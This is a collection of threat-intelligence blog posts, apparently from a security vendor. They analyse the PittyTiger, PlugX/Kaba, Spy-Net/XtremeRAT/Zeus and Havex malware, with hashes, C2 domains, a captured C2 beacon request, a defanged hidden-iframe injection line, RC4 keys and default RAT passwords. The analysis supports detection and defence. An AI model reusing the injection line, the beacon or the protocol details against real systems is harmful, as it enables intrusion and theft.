Category Archives: Threat Intelligence

Operation Arachnophobia: An Introduction

| By and | Threat Intelligence, Threat Research |
Comments
0

We recently had the opportunity to collaborate with ThreatConnect’s Intelligence Research Team (TCIRT) to conduct follow-up reporting on threat group activity that appears to originate from Pakistan. The TCIRT originally reported on this activity in August 2013 in their “Where There is Smoke, There is Fire” blog post. This post covered a threat group using malware and apparent lures that would be effective against Indian targets: an Indian Government Ministry of Defense pension memorandum and an apparent lure related to Sarabjit Singh, an Indian national who died in a Pakistani prison last year.

Our collaboration with ThreatConnect centered on technical analysis of the BITTERBUG malware family and other technical characteristics of the activity. ThreatConnect provided deep analysis of open source data to highlight interesting persona and organizational details. FireEye Labs analysts have also been tracking this group’s activities – identifying and tracking their custom malware family that we call BITTERBUG and their command and control (C2) servers.

The report was released today assessing new information on this group and identifying new factors that draw further suspicion to Pakistan as the probable origination point. From the earliest samples of BITTERBUG to its latest variants, we have observed changes that show movement away from specific debug paths to new, generic paths; a process that occurred following TCIRT’s original blog post.

The group appears to have remained active after the TCIRT blog post, using new BITTERBUG malware variants with the more-generic embedded file paths. During this same timeframe, we observed these variants packaged with various support components and using lures related to the December 2013 arrest of Indian diplomat Devyani Khobragade in the United States and the March 2014 disappearance of Malaysia Airlines flight 370 (cast in these ‘lure’ emails as a Pakistan-related hijacking). Though BITTERBUG deployment methods remained similar throughout, we also observed new deployment behaviors following the August blog post.

We encourage you to read the new paper here http://www.threatconnect.com/arachnophobia.

Spy of the Tiger

| By and | Threat Intelligence |
Comments
0

A recent report documents a group of attackers known as “PittyTiger” that appears to have been active since at least 2011; however, they may have been operating as far back as 2008. We have been monitoring the activities of this group and believe they are operating from China.

This group leverages social engineering to deliver spearphishing emails, in a variety of languages including English, French and Chinese, and email phishing pages to their targets. The attackers use a variety of different malware and tools to maintain command and control (C2) and move laterally through their targets’ networks.

In a recent attack against a French company, the attackers sent simple, straightforward messages in English and French from free email addresses using names of actual employees of the targeted company.

pittytiger1

pittytiger2

We have also observed this group using a Yahoo! email phishing kit, with phishing pages for multiple regions and in multiple languages.

The malicious documents exploit vulnerable versions of Microsoft Office. The attackers used two different exploits CVE-2012-0158 and CVE-2014-1761.

The documents that exploit CVE-2012-0158 were built using a tool that leaves behind the metadata which indicates that the author is “Tran Duy Linh”. (This builder has been shared across multiple threat groups that are otherwise unconnected).

The documents that exploit CVE-2014-1761 contain metadata that matches malicious documents created by both the Jdoc builder and the Metasploit Framework, however, the exact builder tool used by the attackers remains unclear.

This threat group uses a first-stage malware known as Backdoor.APT.Pgift (aka Troj/ReRol.A), which is dropped via malicious documents and connects back to a C2 server. This malware communicates some information about the compromised computer; however, its primary function is to deliver the second-stage malware to the compromised computer.

Backdoor.APT.Pgift Builder

During our investigation, we discovered a builder used in conjunction with the Backdoor.APT.Pgift malware. This builder is used to create and test files placed on the C2 server.

pittytiger3

The builder creates three files:

  • 25dd831ae7d720998a3e3a8d205ab684 dr.asp
  • 4b89c31d1d7744bcf5049d582d35e717 Install-Dll.bat
  • e738286a0031621d50aeb5fc1d95d7a4 JHttpSrv.dll

The dr.asp file is placed on a web server, and malware on compromised systems will beacon to it. The file can retrieve the compromised host’s IP address and returns either a 32-bit or 64-bit second-stage executable depending on the compromised host’s environment.

pittytiger4

The Install-Dll.bat file simply installs JHttpSrv.dll by running the command:

  • regsrv jhttpsrv

The JHttpSrv.dll handles the incoming, encoded data from compromised hosts.

This data is written to a text file in a directory named “log” with the following format:

  • IP Address-YYYYMMDD-HHMMSS.[3 digits].txt

This data contains information about the compromised system including:

  • Hostname
  • Username
  • System Type (32-bin or 64-bit)
  • Operating System
  • Organization
  • Owner
  • Ports and Processes
  • Running Software
  • Installed Software
  • Network Configuration

Although this tool has some information-gathering capabilities, it is primarily a “downloader” designed to push second-stage malware to a compromised system.

Previous Attacks

pittytiger5

It appears the Backdoor.APT.Pgift malware was used in an earlier attack against a target in Taiwan. Although the email date shows September 2010, the actual email appears to have been sent in January 2014. The malicious attachment 中秋節酒品禮薈萃.doc (4c350726bb7773f0ac98bdd665ef93dc) exploits CVE-2012-0158 to drop f3b1a1c18c783c2e949e68f0dd047eae. The network communication is:

POST /pgift.asp HTTP/1.1
Content-Length: 9637
User-Agent: Mozilla/4.0 (compatible;)
Host: 113.10.221.196:8080
Connection: Keep-Alive
Cache-Control: no-cache

Although the malware is the same, this version uses the filename “pgift.asp” instead of “dr.asp.”

We have observed attacks against targets in Taiwan using phishing emails written in Traditional Chinese, and the repeated use of .tw domains as command and control servers may indicate an interest in Taiwan as well.

Malware

The PittyTiger group uses various other malware including:

  • Backdoor.APT.PittyTiger1.3 (aka CT RAT) – This malware is likely used as a second-stage backdoor. The behavior of this sample is similar to the “old” PittyTiger but is distinct. The attackers labeled it as PittyTiger v. 1.3 and use an interface that displays the system information associated with a compromised computer and provides the attacker with a remote shell. The attackers may be using this as second-stage malware.
  • Backdoor.APT.PittyTiger – This malware is the classic “PittyTiger” malware (PittyTigerV1.0) that was heavily used by this group in 2012-2013. This malware allows the attackers to use a remote shell, upload and download files and capture screenshots.
  • Backdoor.APT.Lurid (aka MM RAT / Troj/Goldsun-B) – This malware is a variant of the Enfal/Lurid malware used by a variety of different groups since at least 2006. This variant has the same functionality, but the file names have been changed. We have observed the Enfal/Lurid malware in use since 2011 and in conjunction with Backdoor.APT.Pgift as the payload of a malicious document used in spearphishing attacks. It also appears the attackers use this as second-stage malware.
  • Gh0st variants – A report by Cassidian Cyber Security reveals the attackers also use variants of Gh0st RAT, a well-known RAT used by a variety of attackers. These variants are known as Paladin RAT and Leo RAT.
  • PoisonIvy – This group also used the Poison Ivy malware during 2008-2009. We analyzed PoisonIvy samples that connect to domain names used by this group. The samples were compiled in 2008 and 2009 (one of the samples with a 2008 compile date was also submitted to Virustotal in 2008, leading us to believe the timestamps have not been altered).

The PittyTiger group uses a variety of malware to achieve their objectives. We have not observed these attackers using 0day exploits; rather, they appear to acquire access to builders that are more widely distributed that can be used to create malicious documents.

Acknowledgements

We would like to thank Alex Lanstein, Jen Kolde, Jonathan Wrolstad, Ned Moran and Thoufique Haq.

Samples

Backdoor.APT.Pgift

5e2360a8c4a0cce1ae22919d8bff49fd
f74a7a7f43dfce7ff2851baefe19ef63
05de3bfb5da1dcf08f9ca0bd589364bf
5e2360a8c4a0cce1ae22919d8bff49fd
79e48961d1ee982a466d222671a42ccb
bf95e89906b8a17fd611002660ffff32
ed35e43142b42b57f518197d930471d9
5e2360a8c4a0cce1ae22919d8bff49fd

Backdoor.APT.PittyTiger1.3

f65dc0b3eeb3c393e89ab49a3fac95a8

Backdoor.APT.Lurid

b72cf03822cd03a4923195cb7db9ac41
eb658d398ac54236564dd52b23943736
728d6d3c98b17de3261eaf76b9c3eb7a
735d37a1fde0f8d8924a70e9101c45b1
9712235ba979ef5a23db3ebdc41d9a02
d4be094c7f767fc6d9eda1665d536484

Backdoor.APT.PittyTiger

1097a30d91b0e8adaec8951fb639ffe0
1f7796e76427c96d57086fcf797518f7
0618961c6abf67670658c659a4b3897f
370e2ebe5d72678affd39264a0d2fedd
55e456339936a56c73a7883ea1ddb672
55e456339936a56c73a7883ea1ddb672
7fade5e7576cc72559c62660371279e8
fa53ca3339bb5619f6e39215a4697b52
1cea8afd101ab50087122231acf88407
26be2cbb00158dfab6c81976d93748e8
ce15fa3338b7fe780e85c511d5e49a98
a494010a51705f7720d3cd378a31733a

PoisonIvy

ae35a23cb418af084d10820bb0eae1d8
99a5fd0eba39efc9cba880d9629217e0
a2494e1e528c4a973232d027172bee44

Pacific Ring of Fire: PlugX / Kaba

| By , and | Advanced Malware, Targeted Attack, Threat Intelligence, Threat Research |
Comments
0

As depicted in earlier FireEye blogs, advanced cyber attacks are no strangers to the Asia Pacific region. In this blog, we take a deeper look at some of the advanced persistent threat (APT) malware that have significant presence in the APAC region, starting with PlugX (we detect it as Backdoor.APT.Kaba).

The PlugX / Kaba malware is a well-known remote access tool (RAT) believed to have been around for several years that continues to evolve itself in new attack campaigns. It is often seen used in APT campaigns alongside two other infamous RATs – PoisonIvy and Taidoor. For this blog, FireEye Labs has investigated PlugX samples discovered throughout 2013 as well as recent variants detected between January and June 2014. Countries on both sides of the Pacific incuding the United States as well as Northeast Asian countries such as South Korea, Hong Kong, Japan and Taiwan were most hit by this malware, with attacks spanning multiple industry verticals. The top 5 most targeted verticals include Technology, Aerospace / Defense, Entertainment / Media, Telecommunications and Government (Federal).

Figure 1: PlugX / Kaba Infections (by Country)

Figure 1: PlugX / Kaba Detections (by Country)

Table 1: Top 5 Affected Verticals

Table 1: Top 5 Affected Verticals

Delivering the Attacks

PlugX is most commonly distributed via an exploit, but may also be delivered using a RAR self-extracting executable. Amanda Stewart has written an excellent blog and paper about the common components of the PlugX / Kaba RAT and how it capitalizes on the DLL side-loading technique. In general, the RAT consists of DLL components that are injected into the process memory of svchost.exe. To deliver the DLL components, a “dropper” must first be executed through the use of an exploit, or via social-engineering tactics over e-mail or web to entice the victims to load an executable file.

Figure 2: Primary PlugX “Dropper” File Types

Figure 2: Primary PlugX “Dropper” File Types

While RTF files exploiting CVE-2012-0158 are nothing new, they are still most frequently used in the delivery of PlugX to its targets. The same vulnerability has also been exploited through Excel spreadsheets and Word document files. More recently, a Flash zero-day vulnerability has been exploited to deliver a PlugX payload.

Where an exploit is not used, RAR self-extracting executable (SFX) files were commonly used throughout 2013. These files often appear to have a Word or PDF icon and launch a decoy document that is displayed to the victim. The PlugX RAT is then loaded in the background without the user’s knowledge. While we have noticed a decrease in the use of this vector to deliver PlugX in 2014, it continues to be an effective technique for PlugX and other malware, so we do not expect its use to disappear entirely.

In the below example, the RAR SFX contains a script that loads the RAT (config.exe) and the decoy document (notice.doc).

Figure 3: RAR SFX Script and Files

Figure 3: RAR SFX Script and Files

Command and Control

We have found two dominant variants, SideBar and RasTLS, using 4 of the top 10 domains associated with the PlugX / Kaba command and control (C2) infrastructure. In fact, the 4 domains resolved to the same IP range based in Hong Kong likely operated by the same threat group(s).

Table 2: Top domains used in PlugX / Kaba Callbacks

Table 2: Top Domains used in PlugX / Kaba Callbacks

SideBar

The SideBar variant is delivered through RTF, Word and Excel files. Upon successfully exploitation, it drops “dw20.dll” to the %TEMP% folder. This “dw20.dll” continues to install the following files:

  • %ALLUSERS%\WS\Gadget.exe (MD5: 6b97b3cd2fcfb4b74985143230441463)
  • %ALLUSERS%\WS\SideBar.dll (MD5: 123e1841cc596c1f40e2e6693ea7dcac)
  • %ALLUSERS%\WS\SideBar.dll.doc (MD5: a0c93bdc089e1338cc392108a0e57f2f)

A service registry key is created to start “Gadget.exe” upon reboot of the infected system.
“Gadget.exe” is part of a benign “TENCENT Sidebar” application digitally signed by “Tencent Technology(Shenzhen) Company Limited “. Using the DLL-side loading method, a malicious version of“SideBar.dll” is loaded and executes the exported function “Main”.

“SideBar.dll” is a loader for “SideBar.dll.doc”, executing code at offset 0. “SideBar.dll.doc” decodes a part of its own data and is responsible for deflating a backdoor component. It spawns a new svchost.exe process and injects the backdoor into memory. This backdoor component remains only in memory, and is never saved to disk.

Figure 4: Decompressing Encoded Data

Figure 4: Decompressing Encoded Data

Version information can often be found in PlugX’s process memory. In SideBar, a DWORD value storing the internal version number was 0×20120123. The path names found in the deflated backdoor’s process memory indicating that this PlugX variant is version 6.0:

  • “d:\work\plug6.0(360)(gadget)”

The variant connects to fast.bacguarp.com and bbs.zuesinfo.com over port 8080.

RasTLS

While the RasTls variant is also dropped by document exploits, the dropped files are different. RasTls does not use the DLL side-loading method found in older variants [3]. The DWORD used to store the internal version number of RasTls was 0×20130810.

  • %ALLUSERS%\DRM\RasTls\RasTls.exe

“RasTls.exe” spawns “svchost.exe” and injects a deflated backdoor component into memory. The deflated backdoor component in memory contains a “XV” marker, instead of “MZ” and “PE” as found in regular Windows portal executable (PE) files. This is because “RasTls.exe” manually loads each section of deflated file into memory, so the file does not have to be a complete PE image.

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

The variant doesn’t contain strings implying version. The variant accept commands like as “ST1”, “ST2”, “TT1”,”TT2” which are different from version 6.

In memory space in the “svchost.exe”, we can see the decoded configuration information:

Figure 6: Decoded Configuration Information

Figure 6: Decoded Configuration Information

All RasTls variants have largely identical configuration and connects to scqf.bacguarp.com and scqf.zuesinfo.com over port 443. The “My_Name” mutex is also common to all RasTls variants.

PlugX Encryption Algorithm

PlugX has a variety of encryption algorithms used to encrypt its data across variants. However, the encryption style is largely similar as depicted in Figure 7.

Figure 7: PlugX Decryption Algorithm

Figure 7: PlugX Decryption Algorithm

In RasTls, the DWORD decryption key was found in the first four bytes of the encrypted string. It was also less aggressive in encrypting and hiding its data. In older variants such as “win3dx.DLL” (MD5: 7ADAE0335C9D6C9F3826CDE9747438B7), most API names were decrypted before loading and nullified after use. This makes understanding the malware slightly more difficult for malware analysts.

The supported functionalities are largely similar where it uses the identical command code. Below is a list of PlugX commands for file system manipulation:

  • 0×3000: GetDiskRelatedInformation
  • 0×3001: SearchDirectoryForFiles
  • 0×3002: SearchDirectoryRecursively
  • 0×3004: ReadFile
  • 0×3007: WriteFile
  • 0x300A: CreateDirectory
  • 0x300C: CreateWindowsDesktop
  • 0x300D: PerformSH_FileOperation
  • 0x300E: ExpandEnvironmentVariable

Some improvements were made by its developers. For example, the key logger function was updated to utilize the GetRawInputData API to collect keystrokes. “RegisterRawInputDevices” and “GetRawInputData” were two of the few API names that remain encrypted in RasTls.

Updated Key Logging Component

Figure 8: Updated Key Logging Component

PlugX / Kaba Trending

Figure 9 shows the trending of total PlugX / Kaba infections and their variants: SideBar and RasTLS. The spike in September 2013 was caused by SideBar. In 2014, we see SideBar and RasTLS on an inverse trend, with the latter on a steady increase.

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 10 shows the distribution of SideBar/RasTls variants by country. The C2 servers are located in Hong Kong, where much of the attacks have occurred. We also find a variety of countries targeted by these variants. In some of the exploit documents delivering these variants, the content revolves around the theme of NGOs and socio-political events in China and Japan. These are content that would likely be of interest to the victims who would be opening the documents.

Figure 10: Distribution of SideBar/RasTls Variants by Country

Figure 10: Distribution of SideBar/RasTls Variants by Country

Conclusion

The Asia Pacific region remains a highly attractive target of advanced cyber-attacks. Many threat groups have a particular in interest in this region, and are likely continue to launch new attacks against targets here. We recommend that users in this region block access to the above C2 servers. FireEye Labs will continue to monitor and report on new PlugX / Kaba developments.

 

The Little Signature That Could: The Curious Case of CZ Solution

| By and | Threat Intelligence, Threat Research |
Comments
0

Malware authors are always looking for new ways to masquerade their actions. Attackers are looking for their malware to be not only fully undetectable, but also appear valid on a system, so as not to draw attention. Digital signatures are one way malware authors keep under the radar. Digital signatures are an easy, quick way to verify the authenticity of an application utilizing the signature.

Threat actors routinely steal digital signing certificates to hide in plain sight. There are recent reports of banking Trojans such as Zeus, using valid signatures to get past both automated and human defenses. Part of performing accurate threat intelligence is continually looking to the past to help better predict the future. This is proven in the samples we will be discussing in this blog. Many of the samples throughout this blog are from the summer of 2013. These particular samples however, piqued our interest because of the mass distribution of RATs in a particular targeted region. It also reminded us of a recent XtremeRAT blog we published earlier in 2014.

The Little Signature That Could

While investigating an uptick in Spy-Net spam campaigns, we came across a malware binary that was digitally signed that struck our interest. Spy-Net allows an attacker to interact with the victim via a remote shell to upload/download files, interact with the registry, running processes and services as well as capture images of the desktop and record form the webcam and audio. It also contains functionality to extract saved passwords and turn the victim into a proxy server. During the build process, an attacker can choose to enable a keylogger and evasion functionality designed to stop the information process if a debugger or virtual machine is found.

We noticed that one of the Spy-Net binary files, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0), upon closer inspection, was utilizing a valid digital signature, from a company called CZ Solution Co. Ltd.

cz1

Figure 1: Signature Details of sc2.exe

Looking closer at the signature, we noticed that all of the details were intact, and appeared to be valid. There are two additional code-signing certificates issued to CZ Solution Co. Ltd.

cz2

Figure 2: Additional Signature Details

Investigation of sc2.exe showed typical Spy-Net behaviors. The sample beaconed out to ekinox.no-ip.info. From here, we decided to pivot off the CZ Solution signature and see what we could find.

Connections Emerge

As we started to pivot off the CZ Solution signature, we started to see some interesting commonalities. Pivoting proved that the CZ Solution signature was not just used in Spy-Net binaries. We quickly found that this signature was being used with XtremeRAT, a popular RAT that cybercriminals and targeted attackers use regularly. The code of XtremeRAT is shared amongst several other Delphi RAT projects including Spy-Net, CyberGate, and Cerberus.

XtremeRAT allows an attacker to:

  • Interact with the victim via a remote shell
  • Upload/download files
  • Interact with the registry
  • Manipulate running processes and services
  • Capture images of the desktop
  • Record from connected devices, such as a webcam or microphone

One binary for instance, m.exe (MD5: c27232691dacf4cff24a4d04b3b2896b) which was XtremeRAT, was seen beaconing out to http://omegaphotography.[co].uk, batardchris.servehttp.com /1234567890.functions, and www.batteurmag.com/[plugin].xtr.

Likewise, we saw multiple samples of the Zeus Trojan utilizing the CZ Solution signature. Zeus modifiers can tune Zeus to steal information they are interested in; typically login credentials for online social networks, e-mail accounts, online banking or other online financial services. Zeus is commonly seen targeting customers of financial institutions.

One of the Zeus samples, uk.exe (MD5: dcd3e45d40c8817061f716557e7a05b6) that was utilizing the CZ Solution signature, was beaconing out to claire-morin.com/file.php.

Looking at the three samples show that CZ Solution was used to create and sign Spy-Net, XtremeRAT, and Zeus samples. Graphing out the connections between the samples we profiled, you can quickly see how fast this web of similarities continue.

cz3Figure 3: Connection Profile of Binaries Using CZ Solution

The French Connection and C2 overlap

Attribution of actors and/or campaigns can often be a difficult and tedious task. However, since we were dealing with so many inter-twining binaries, we could start to draw some parallels between samples.

When looking at the overall connections between the CZ solution signature, you can start to see a trend emerge. First, there is some C2 overlap. For instance Dllsv.exe (MD5: 3f042fd6b9ce7e23b3c84c6f7323dd75) communicates out to ekinox.no-ip.info, using the same CZ Solution cert. This malware is flagged as BozokRAT; a user-friendly RAT that can upload and download files to and from a computer, modify registry entries, and perform other typical RAT functions. That same C2, ekinox.no-ip.info, is also seen used by the aforementioned Spy-Net binary, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0).

In another example of C2 overlap, a file named uk.exe, (MD5: 9c11ef09131a3373eef5c9d83802d56b) uses its C2 as omega-photography.co.uk. This sample is an active Zeus binary. That same C2 is used with a file named x.exe, (MD5: c27232691dacf4cff24a4d04b3b2896b), an active XtremeRAT binary.

Next, we needed to identify at least one infection vector to ensure we could track how one of the binaries using the CZ Solution signature was getting into environments.

In one case, we found the infection vector for an XtremeRAT binary that was using the CZ Solution certificate. The binary came in the form of phished email (MD5: 7c00ba0fcbfee6186994a8988a864385) purportedly from Armani regarding an order.

cz4

The email was in French and the headers were interesting, as the same sender has been seen in multiple French spam runs.

cz5

The attachment in the email is using the RTLO trick to disguise a 7zip file as a PDF.

While looking at the all the samples we correlated and pivoted off of, we found that a majority of both the language and C2’s being used all revolved around the French language. The domains that were part of the C2 infrastructure were almost all exclusively French, as was the registrant information for the domains in question.

Spy-Net C2 Protocol Analysis

As we have already shared some analysis details of XtremeRAT in a previous blog, we decided to share some information and tools we built regarding Spy-Net this time. This information is based on our analysis of Spy-Net version 2.6 specifically. Other versions of Spy-Net may have significant changes to the protocol. Spy-Net 2.6 utilizes a homegrown protocol like many other publicly available RATs. It’s an ASCII based, pipe-delimited protocol utilizing Portuguese keywords that employs two totally different forms of obfuscation: one for outbound communication to the attacker and another for inbound communication to the implant. The outbound communications are compressed with zlib and encrypted with RC4. The RC4 key is hard-coded and is updated with version changes. For example, the RC4 key for Spy-Net 2.6 is njkvenknvjebcddlaknvfdvjkfdskv, while for CyberGate 1.07, which has a similar (if not the same) protocol the key is njgnjvejvorenwtrnionrionvironvrnvcg107 and CyberGate 1.18’s key is njgnjvejvorenwtrnionrionvironvrnvcg117.

The astute reader may have noticed that the last three numbers of the CyberGate keys (roughly) represent the version number of CyberGate. The inbound communication to the implant employs an ASCII encoding scheme similar to Base64. This protocol begins with a simple authentication scheme where the implant sends an authentication password that is validated by the client. This password is configurable by the attacker and defaults to abcd1234. The implant then proceeds to send the entirety of its configuration information, as configured by the attacker, to the client so it can be displayed on its “Configuration” tab.

Authentication

Implant->Client: mypassword|Y|

Configuration Request and Response

Client->Implant: configuracoesdoserver|

Implant->Client: configuracoesdoserver|configuracoesdoserver|192.168.1.2:81|#myID|mypassword|C:\WINDOWS\install\server.exe|C:\Program Files\Internet Explorer\iexplore.exe| | |{0OP8GNN1-GIWW-CC7M-AJ0I-6Y554UOJJ241}|Policies|FALSE|TRUE|TRUE|TRUE|***MUTEX***| | |TRUE|FALSE| | | | | | |FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|server.exe#crack.exe#|FALSE|

The outbound communications from the implant to the client are prepended with an ASCII representation of the length of the payload followed by a pipe character and a new line character.

cz6

There is a noticeable lack of sophistication in Spy-Net’s code. For example, in some cases the length indicator is followed by a pipe and a single new line (\n) character as seen in *nix based operating systems. In other cases, the indicator is followed by the carriage return and new line characters (\r\n), as seen in Windows operating systems. This lack of conformity is also witnessed in how there are two totally different schemes used for obfuscation, and in how obfuscation is not used for file transfers as it is otherwise used throughout the protocol.

Spy-Net Protocol Decoder

Since Spy-Net is a publicly available RAT that we see in use quite often, we decided to build a ChopShop module for it and share it in cooperation with our friends at MITRE. The module is now available as a standard part of the framework available on GitHub. We are also sharing a Spy-Net configuration dumping pycommand for Immunity Debugger. While hunting for related samples in VirusTotal, we came across a pcap that had captured the initial infection and subsequent communication of the Spy-Net binary we initially mentioned, (MD5: 6a56f6735f4b16a60f39b18842fd97d0). This gave us a great opportunity to test our new decoder. One thing that Spy-Net implants will commonly send out automatically is a thumbnail image of the user’s desktop. This is displayed on the client.

cz7

Our decoder can extract such images from the pcap and what we found gave us a further hint that we may be dealing with attacks focused in France. Although difficult to read due to the very low resolution of the thumbnail, our pcap decoder was able to tell us that the title of the browser window currently open in this screenshot is “Football - MAXIFOOT l’actualit foot et transfert - Windows Internet Explorer.”

cz8

Distribution via Malicious Java Applet

According to the details of the pcap we decoded, this French football Web site (maxifoot.fr) was apparently compromised and had an iframe inserted into it that pointed to another compromised Web site, a Canadian addiction recovery resource: unwasted.ca.

<iframe width=”1px” height=”1px” src=”hxxp://unwasted.ca/skins/index.html” style=”display: block;” ></iframe>

The latter site hosted a malicious Java applet that downloaded the Pony/Fareit malicious downloader. The downloader then proceeded to install ZeuS and download and execute the aforementioned Spy-Net binary. All of these binaries were signed with the stolen digital certificate. The malicious Java applet used to install the Pony downloader was created by Foxxy Software and had been previously written about by ESET.

RAT Configuration Details

We assembled a compilation of the meaningful configuration data found in the XtremeRAT and Spy-Net samples we came across in our analyses. You can observe some similarities between the samples’ configurations.

MD5 Version Dir/Path ID Group Mutex Password
f5e6c0a2c9000311513521947a76cb4b Spy-Net 2.6 C:\WINDOWS\system32\conhost\conhost.exe Updater2014 NA R5438NM5 abcd1234
6a56f6735f4b16a60f39b18842fd97d0 Spy-Net 2.6 C:\WINDOWS\system32\Winini\taskhost.exe Uframer NA A7TF5W abcd1234
7416ec2889227f046f48c15c45c102da XtremeRAT 3.5 Private InstallDir SpaM SPAM eyA8znpc NA
2e776e18dec61cf6ccd68fbacd55fab3 XtremeRAT 3.5 Private svhost Diesel Diesel lNFAH0 NA
be47ec66d861c35784da527bf0f2e03a XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH0 NA
c27232691dacf4cff24a4d04b3b2896b XtremeRAT 3.5 Private InstallDir IdSec idsection eyA8znpc NA
e79636e4c7418544d188a29481c100bb XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH04 NA
bd70a7cae3ebf85cf1edd9ee776d8364 XtremeRAT 3.5 Private svhost IdSec IdSec lNFAH0 NA
0be3b0e296be33903bf76b8cd9cf52ca XtremeRAT 3.5 Private svhost CiTa IdSec x4KybsbM NA

Conclusion

The usage of digital signatures isn’t going to decrease anytime soon- especially by threat actors. It gives them a quick, easy way to bypass traditional security controls since certificates and signatures are typically trusted by default. In this blog, we are shown that this trend still true. We looked towards the past in this blog, to better understand motivations and trends going forward. We can accurately say, based on the information attributed, that the CZ Solution signatures were being utilized by an individual or group of individuals using French assets and infrastructure.

These particular actors didn’t show a significant level of expertise, but did show collective resources with knowledge in at least Zeus, Spy-Net, and XtremeRAT. We can say accurately that it is likely these actor(s) were using the same signature to send out a wide range of binaries, possibly even outside of the realm of the four families discussed here. As we wrote this blog, we couldn’t help but be reminded of the spam run focused in Colombia and Central America that we wrote about back in February of this year. A spam run that is regionally focused, but with no apparent targeting in nature, utilizing a mix of ZeuS and off-the-shelf RATs.

Helping protect your organization from threats using valid digital signatures can include verification of the signature’s serial number. In this case, the serial number: 6e 7b 63 95 ac 5b 5c 8a 2a ec c4 52 8d 9e 65 10, is the identifier to locate in regards to this publisher. Also, if you’re running your own internal certificate authority, ensure you are adequately revoking certificates that may have been compromised. This will help ensure compromised certificates are not utilized in attacks.

 

Havex, It’s Down With OPC

| By | Targeted Attack, Threat Intelligence, Threat Research |
Comments
0

FireEye recently analyzed the capabilities of a variant of Havex (referred to by FireEye as “Fertger” or “PEACEPIPE”), the first publicized malware reported to actively scan OPC servers used for controlling SCADA (Supervisory Control and Data Acquisition) devices in critical infrastructure (e.g., water and electric utilities), energy, and manufacturing sectors.

While Havex itself is a somewhat simple PHP Remote Access Trojan (RAT) that has been analyzed by other sources, none of these have covered the scanning functionality that could impact SCADA devices and other industrial control systems (ICS). Specifically, this Havex variant targets servers involved in OPC (Object linking and embedding for Process Control) communication, a client/server technology widely used in process control systems (for example, to control water pumps, turbines, tanks, etc.).

Note: ICS is a general term that encompasses SCADA (Supervisory Control and Data Acquisition) systems, DCS (Distributed Control Systems), and other control system environments. The term SCADA is well-known to wider audiences, and throughout this article, ICS and SCADA will be used interchangeably.

Threat actors have leveraged Havex in attacks across the energy sector for over a year, but the full extent of industries and ICS systems affected by Havex is unknown. We decided to examine the OPC scanning component of Havex more closely, to better understand what happens when it’s executed and the possible implications.

OPC Testing Environment

To conduct a true test of the Havex variant’s functionality, we constructed an OPC server test environment that fully replicates a typical OPC server setup (Figure 1[3]). As shown, ICS or SCADA systems involve OPC client software that interacts directly with an OPC server, which works in tandem with the PLC (Programmable Logic Controller) to control industrial hardware (such as a water pump, turbine, or tank). FireEye replicated both the hardware and software the OPC server setup (the components that appear within the dashed line on the right side of Figure 1).

havex1

Figure 1: Topology of typical OPC server setup

The components of our test environment are robust and comprehensive to the point that our system could be deployed in an environment to control actual SCADA devices. We utilized an Arduino Uno[1] as the primary hardware platform, acting as the OPC server. The Arduino Uno is an ideal platform for developing an ICS test environment because of the low power requirements, a large number of libraries to make programming the microcontroller easier, serial communication over USB, and cheap cost. We leveraged the OPC Server and libraries from St4makers[2] (as shown in Figure 2). This software is available for free to SCADA engineers to allow them to develop software to communicate information to and from SCADA devices.

havex2

Figure 2: OPC Server Setup

Using the OPC Server libraries allowed us to make the Arduino Uno act as a true, functioning OPC SCADA device (Figure 3).

havex3

Figure 3: Matrikon OPC Explorer showing Arduino OPC Server

We also used Matrikon’s OPC Explorer[1], which enables browsing between the Arduino OPC server and the Matrikon embedded simulation OPC server. In addition, the Explorer can be used to add certain data points to the SCADA device – in this case, the Arduino device.

havex4

Figure 4: Tags identified for OPC server

In the OPC testing environment, we created tags in order to simulate a true OPC server functioning. Tags, in relation to ICS devices, are single data points. For example: temperature, vibration, or fill level. Tags represent a single value monitored or controlled by the system at a single point in time.

With our test environment complete, we executed the malicious Havex “.dll” file and analyzed how Havex’s OPC scanning module might affect OPC servers it comes in contact with.

Analysis

The particular Havex sample we looked at was a file named PE.dll (6bfc42f7cb1364ef0bfd749776ac6d38). When looking into the scanning functionality of the particular Havex sample, it directly scans for OPC servers, both on the server the sample was submitted on, and laterally, across the entire network.

The scanning process starts when the Havex downloader calls the runDll export function. The OPC scanner module identifies potential OPC servers by using the Windows networking (WNet) functions. Through recursive calls to WNetOpenEnum and WNetEnumResources, the scanner builds a list of all servers that are globally accessible through Windows networking. The list of servers is then checked to determine if any of them host an interface to the Component Object Models (COM) listed below:

Screen Shot 2014-07-17 at 12.31.56 PM

Figure 5: Relevant COM objects

Once OPC servers are identified, the following CLSIDs are used to determine the capabilities of the OPC server:

Screen Shot 2014-07-17 at 12.33.22 PM

Figure 6: CLSIDs used to determine capabilities of the OPC server

When executing PE.dll, all of the OPC server data output is first saved as %TEMP%\[random].tmp.dat. The results of a capability scan of an OPC server is stored in %TEMP%\OPCServer[random].txt. Files are not encrypted or deleted once the scanning process is complete.

Once the scanning completes, the log is deleted and the contents are encrypted and stored into a file named %TEMP%\[random].tmp.yls. The encryption process uses an RSA public key obtained from the PE resource TYU. The RSA key is used to protect a randomly generated 168-bit 3DES key that is used to encrypt the contents of the log.

The TYU resource is BZip2 compressed and XORed with the string “1312312”. A decoded configuration for 6BFC42F7CB1364EF0BFD749776AC6D38 is included in the figure below:

Screen Shot 2014-07-17 at 12.27.24 PM

Figure 7: Sample decoded TYU resource

The 4409de445240923e05c5fa6fb4204 value is believed to be an RSA key identifier. The AASp1… value is the Base64 encoded RSA key.

A sample encrypted log file (%TEMP%\[random].tmp.yls) is below.

